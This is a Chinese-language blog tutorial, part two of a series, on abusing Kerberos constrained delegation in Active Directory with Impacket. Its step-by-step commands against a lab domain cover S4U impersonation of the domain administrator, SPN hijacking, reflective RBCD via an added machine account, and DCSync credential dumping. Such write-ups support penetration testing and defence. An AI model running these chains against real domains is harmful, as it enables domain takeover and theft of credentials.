滥用委托与Impacket(第二部分):约束委派
这是关于滥用Kerberos委托的三部分博客系列的第二篇!如果您还没有阅读,可以随时阅读第一篇博客文章,它讨论了Kerberos身份验证过程以及委托在解决双跳问题中的重要作用。
什么是约束委派?
约束委派的引入是为了减轻无约束委派的风险。它将委托限制到特定服务,并用两个代理替换TGT转发:S4U2Self和S4U2Proxy。
约束委派有两种类型 - 带协议转换和不带协议转换。关键区别在于模拟用户的方式。
- 带协议转换的约束委派:使用S4U2Self模拟用户,并使用S4U2Proxy生成到委托资源的服务票据。
- 不带协议转换的约束委派:不使用S4U2Self,而是要求客户端作为要模拟的用户向委托资源提供可转发的服务票据。
带协议转换的约束委派滥用技术
要滥用带协议转换的约束委派,我们必须首先攻破配置了它的用户或计算机。随后,我们的目标是模拟一个提升权限的用户/计算机 - 通常是域管理员 - 以攻破我们已攻破资源可以委托的服务。
高级步骤是:
- 攻破配置了约束委派的用户或计算机
- 使用S4U2Self和S4U2Proxy获取作为提升权限用户到委托资源的服务票据
1. 使用用户名和密码的S4U2Self和S4U2Proxy
假设我们已攻破用户kcduser,密码为Password2@,该用户被允许委托到host/DC01.secure.local,即域控制器。
要在域中提升权限,由于启用了协议转换,我们可以使用kcduser的密码通过S4U2Self模拟提升权限的用户 - 通常是域管理员。然后,我们可以使用S4U2Proxy生成到委托服务(host/DC01.secure.local)的服务票据。
此外,我们必须为已攻破的用户分配SPN才能成功生成票据。
- 查找基于用户的带协议转换约束委派(
kcduser到host/DC01.secure.local)
1
|
impacket-findDelegation 'secure.local/kcduser':'Password2@' -dc-ip 10.0.1.200
|
- 如果还没有SPN,则向
kcduser添加SPN(KCD.secure.local)
1
|
python3 addspn.py -u secure.local\\kcduser -p 'Password2@' -s host/KCD.secure.local --target-type samname 10.0.1.200
|
- 使用
kcduser的凭据,我们可以获取作为域管理员到DC01的服务票据(S4U2Self + S4U2Proxy)
1
|
impacket-getST -spn 'host/DC01.secure.local' -impersonate administrator 'secure.local/kcduser':'Password2@' -dc-ip 10.0.1.200
|
- 将票据导出到内存中
1
|
export KRB5CCNAME=./administrator@host_DC01.secure.local@SECURE.LOCAL.ccache
|
- 作为
administrator对DC01执行DCSync
1
|
impacket-secretsdump -k DC01.secure.local
|
- (清理):删除添加的SPN(如果用户开始时没有)
1
|
python3 addspn.py -u secure.local\\kcduser -p 'Password2@' -s host/KCD.secure.local --target-type samname 10.0.1.200 -r
|
2. 使用计算机NTLM哈希的S4U2Self和S4U2Proxy
假设我们已攻破计算机PC01$,NTLM哈希为aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4,该计算机被允许委托到host/DC01.secure.local,即域控制器。
要在域中提升权限,由于启用了协议转换,我们可以使用PC01$的NTLM哈希通过S4U2Self模拟提升权限的用户 - 通常是域管理员。然后,我们可以使用S4U2Proxy生成到委托服务(host/DC01.secure.local)的服务票据。
- 查找基于计算机的带协议转换约束委派(
PC01$到host/DC01.secure.local)
1
|
impacket-findDelegation 'secure.local/kcduser':'Password2@' -dc-ip 10.0.1.200
|
- 使用
PC01$的NTLM哈希,我们可以获取作为域管理员到DC01的服务票据(S4U2Self + S4U2Proxy)
1
|
impacket-getST -spn 'host/DC01.secure.local' -impersonate administrator 'secure.local/PC01$' -hashes 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4' -dc-ip 10.0.1.200
|
- 将票据导出到内存中
1
|
export KRB5CCNAME=administrator@host_DC01.secure.local@SECURE.LOCAL.ccache
|
- 作为
administrator对DC01执行DCSync
1
|
impacket-secretsdump -k DC01.secure.local
|
3. 使用GenericWrite的实时机器SPN劫持
SPN劫持是一种边缘情况技术,如果条件合适,具有修改目标SPN权限的攻击者可以有效地重定向委托以攻破不同的资源。
假设我们已攻破用户dacluser,密码为Password3#,该用户对DC01.secure.local和PC01.secure.local具有GenericWrite权限。
此外,假设我们已攻破计算机PC02$,NTLM哈希为aad3b435b51404eeaad3b435b51404ee:72265d1639ffa6279115a922e92a33d8,该计算机被允许委托到host/PC01.secure.local。
如果用户主体对Active Directory对象具有"Write all properties"(GenericWrite)权限,他们可以任意写入SPN等。
这意味着,凭借我们拥有的权限,我们可以将PC01的host/PC01.secure.local SPN迁移到DC01,实质上使DC01成为委托的目标。然后,如果我们执行S4U2Self和S4U2Proxy,我们可以获取作为提升权限用户到DC01的服务票据。
高级步骤是:
-
攻破配置了约束委派的用户或计算机
-
攻破可以修改委托服务(PC01)和最终目标服务(DC01)SPN的用户
-
从委托服务(PC01)中删除所有SPN
-
将委托SPN写入最终目标服务(host/PC01.secure.local到DC01)
-
使用S4U2Self和S4U2Proxy获取作为提升权限用户到委托资源(PC01.secure.local,现在为DC01)的服务票据
-
修改服务票据中的SPN(host/PC01.secure.local到host/DC01.secure.local)
-
查找GenericWrite权限(dacluser到DC01.secure.local和PC01.secure.local)
1
|
nxc ldap 10.0.1.200 -d 'secure.local' -u 'dacluser' -p 'Password3#' --dns-server 10.0.1.200 --bloodhound --collection All
|
- 查找基于计算机的带协议转换约束委派(
PC02$到host/PC01.secure.local)
1
|
impacket-findDelegation 'secure.local/dacluser':'Password3#' -dc-ip 10.0.1.200
|
- 从
PC01$中删除所有SPN,记下删除的SPN以备后用
1
|
python3 addspn.py -u secure.local\\dacluser -p 'Password3#' --clear -t 'PC01$' 10.0.1.200
|
- 将
host/PC01.secure.local SPN写入DC01$
1
|
python3 addspn.py -u secure.local\\dacluser -p 'Password3#' -t 'DC01$' --spn 'host/PC01.secure.local' 10.0.1.200
|
- 使用
PC02$的NTLM哈希,获取作为域管理员到host/PC01.secure.local(现在是DC01)的服务票据(S4U2Self + S4U2Proxy)
1
|
impacket-getST -spn 'host/PC01.secure.local' -impersonate 'administrator' -dc-ip 10.0.1.200 'secure.local/PC02$' -hashes 'aad3b435b51404eeaad3b435b51404ee:72265d1639ffa6279115a922e92a33d8'
|
- 将服务票据中的SPN修改为
host/DC01.secure.local
1
|
python3 tgssub.py -in administrator@host_PC01.secure.local@SECURE.LOCAL.ccache -out DC01-ticket.ccache -altservice 'host/DC01.secure.local'
|
- 将票据导出到内存中
1
|
export KRB5CCNAME=DC01-ticket.ccache
|
- 作为
administrator对DC01执行DCSync
1
|
impacket-secretsdump -k DC01.secure.local
|
- (清理)从
DC01$中删除host/PC01.secure.local SPN
1
|
python3 addspn.py -u secure.local\\dacluser -p 'Password3#' -t 'DC01$' --spn 'host/PC01.secure.local' 10.0.1.200 -r
|
- (清理)将所有删除的SPN恢复到
PC01$,对每个删除的SPN重复
1
|
python3 addspn.py -u secure.local\\dacluser -p 'Password3#' -t 'PC01$' --spn 'host/PC01.secure.local' 10.0.1.200
|
- 验证
DC01$和PC01$上的所有SPN已恢复
1
|
python3 addspn.py -u secure.local\\dacluser -p 'Password3#' -t 'PC01$' 10.0.1.200 -q
|
1
|
python3 addspn.py -u secure.local\\dacluser -p 'Password3#' -t 'DC01$' 10.0.1.200 -q
|
不带协议转换的约束委派滥用技术
要滥用不带协议转换的约束委派,我们必须首先攻破配置了它的用户或计算机。但是,我们不能简单地提供已攻破服务的密码 - 我们需要作为提升权限用户(通常是域管理员)的可转发服务票据。
问题是什么生成可转发票据。根据Elad Shamir在《Wagging the Dog》中的说法,S4U2Proxy生成可转发服务票据,可用于提升权限。
这就提出了问题:我们如何使用S4U2Proxy生成可转发服务票据?
反射性基于资源的约束委派
域中的任何用户或计算机默认都可以在自身上配置基于资源的约束委派(RBCD)。这本质上是传统的约束委派,但不是由域决定谁可以委托到服务,而是由服务决定谁可以委托到它。
如果配置了约束委派(不带协议转换)的资源被攻破,攻击者需要第二个资源来获取可转发票据。这就是计算机帐户配额(MAQ) - 一个默认的域级属性,允许非管理员添加计算机帐户 - 派上用场的地方。
攻击者可以通过MAQ添加计算机帐户并配置RBCD,以便MAQ添加的计算机被信任进行委托。使用MAQ计算机的凭据,攻击者对已攻破的资源执行S4U2Self和S4U2Proxy,生成到该服务的可转发服务票据。然后,可转发票据可以传递给已攻破主机被允许委托到的资源。
顺便说一下,MAQ之所以有用,是因为计算机帐户默认总是绑定SPN。但是,如果MAQ被禁用,如果攻击者控制具有SPN的用户或具有向自己或其他已攻破用户添加SPN的权限,也可以实现相同的效果。
这种通过约束委派链获取可转发票据的方法称为反射性基于资源的约束委派。通过第一次S4U2Proxy,攻击者获取作为提升权限用户的可转发票据,然后可以攻破原始配置用于委托的资源。
高级步骤是:
- 攻破配置了不带协议转换约束委派的用户或计算机
- 通过计算机帐户配额(MAQ)向域添加新计算机
- 在已攻破的资源上配置RBCD,使其信任添加的计算机进行委托
- 使用MAQ计算机的凭据对已攻破的资源执行S4U2Self + S4U2Proxy,生成作为提升权限用户的可转发服务票据
- 将该可转发票据(通过额外的S4U2Proxy)传递给已攻破资源被允许委托到的服务
1. 添加用户SPN和计算机帐户,反射性RBCD
假设我们已攻破用户kcduser,密码为Password2@,该用户被允许委托到host/DC01.secure.local,即域控制器。
要在域中提升权限,由于协议转换被禁用,我们可以向域添加计算机帐户,配置RBCD以信任MAQ主机进行委托,然后通过反射性基于资源的约束委派获取可转发服务票据。
此外,我们必须为已攻破的用户分配SPN才能成功生成票据。
- 查找基于用户的不带协议转换约束委派(
kcduser到host/DC01.secure.local)
1
|
impacket-findDelegation 'secure.local/kcduser':'Password2@' -dc-ip 10.0.1.200
|
- 如果还没有SPN,则向
kcduser添加SPN(KCD.secure.local)
1
|
python3 addspn.py -u secure.local\\kcduser -p 'Password2@' -s host/KCD.secure.local --target-type samname 10.0.1.200
|
- 使用计算机帐户配额添加名为
machine$的新计算机
1
|
impacket-addcomputer -computer-name 'machine$' -computer-pass 'machinepass!' -dc-ip 10.0.1.200 'secure.local/kcduser:Password2@'
|
- 配置
kcduser信任machine$进行委托
1
|
impacket-rbcd -delegate-from 'machine$' -delegate-to 'kcduser' -dc-ip 10.0.1.200 -action 'write' 'secure.local/kcduser':'Password2@'
|
- 使用
machine$的凭据,模拟域管理员到kcduser(从machine$ -> kcduser的反射性RBCD)
1
|
impacket-getST -spn 'host/KCD.secure.local' -impersonate 'administrator' -dc-ip 10.0.1.200 'secure.local/machine$':'machinepass!'
|
- 使用可转发的
administrator票据对DC01执行S4U2Proxy(kcduser -> DC01)
1
|
impacket-getST -impersonate 'administrator' -spn 'host/DC01.secure.local' -additional-ticket administrator@host_KCD.secure.local@SECURE.LOCAL.ccache -dc-ip 10.0.1.200 'secure.local/kcduser':'Password2@'
|
- 将票据导出到内存中
1
|
export KRB5CCNAME=administrator@host_DC01.secure.local@SECURE.LOCAL.ccache
|
- 作为
administrator对DC01执行DCSync
1
|
impacket-secretsdump -k DC01.secure.local
|
- (清理):删除添加的SPN
1
|
python3 addspn.py -u secure.local\\kcduser -p 'Password2@' -s host/KCD.secure.local --target-type samname 10.0.1.200 -r
|
- (清理):删除添加的计算机帐户(只能由管理用户完成)
1
|
impacket-addcomputer -computer-name 'machine$' -dc-ip 10.0.1.200 -delete -hashes 'aad3b435b51404eeaad3b435b51404ee:16f2bd968f2885a410873b4efa104527' 'secure.local/administrator'
|
2. 使用计算机SPN和添加计算机帐户,反射性RBCD
假设我们已攻破计算机PC01$,NTLM哈希为aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4,该计算机被允许委托到host/DC01.secure.local,即域控制器。
要在域中提升权限,由于协议转换被禁用,我们可以通过反射性基于资源的约束委派(MAQ + RBCD)获取可转发服务票据。
- 查找基于计算机的不带协议转换约束委派(
PC01$到host/DC01.secure.local)
1
|
impacket-findDelegation 'secure.local/kcduser':'Password2@' -dc-ip 10.0.1.200
|
- 使用计算机帐户配额添加名为
machine$的新计算机
1
|
impacket-addcomputer -computer-name 'machine$' -computer-pass 'machinepass!' -dc-host 10.0.1.200 'secure.local/PC01$' -hashes 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4'
|
- 配置
PC01$信任machine$进行委托
1
|
impacket-rbcd -delegate-from 'machine$' -delegate-to 'PC01$' -dc-ip 10.0.1.200 -action 'write' -hashes 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4' 'secure.local/PC01$'
|
- 使用
machine$的凭据,模拟域管理员到PC01(从machine$ -> PC01$的反射性RBCD)
1
|
impacket-getST -spn 'host/PC01.secure.local' -impersonate 'administrator' -dc-ip 10.0.1.200 'secure.local/machine$':'machinepass!'
|
- 使用获取的票据生成作为Administrator到
host/DC01.secure.local的票据(PC01$ -> DC01)
1
|
impacket-getST -impersonate 'administrator' -spn 'host/DC01.secure.local' -additional-ticket administrator@host_PC01.secure.local@SECURE.LOCAL.ccache -dc-ip 10.0.1.200 -hashes 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4' 'secure.local/PC01$'
|
- 将票据导出到内存中
1
|
export KRB5CCNAME=administrator@host_DC01.secure.local@SECURE.LOCAL.ccache
|
- 作为
administrator对DC01执行DCSync
1
|
impacket-secretsdump -k DC01.secure.local
|
- (清理):删除添加的计算机帐户(只能由管理用户完成)
1
|
impacket-addcomputer -computer-name 'machine$' -dc-ip 10.0.1.200 -delete -hashes 'aad3b435b51404eeaad3b435b51404ee:16f2bd968f2885a410873b4efa104527' 'secure.local/administrator'
|
结论
虽然约束委派在限制风险方面比其危险的无约束对应物有所改进,但如果配置了约束委派的资源被攻破,攻击者仍然可以提升权限并横向移动到其他资源,即使过程可能更复杂和受限。
在此之后,我们将在未来的文章中讨论滥用基于资源的约束委派!
参考文献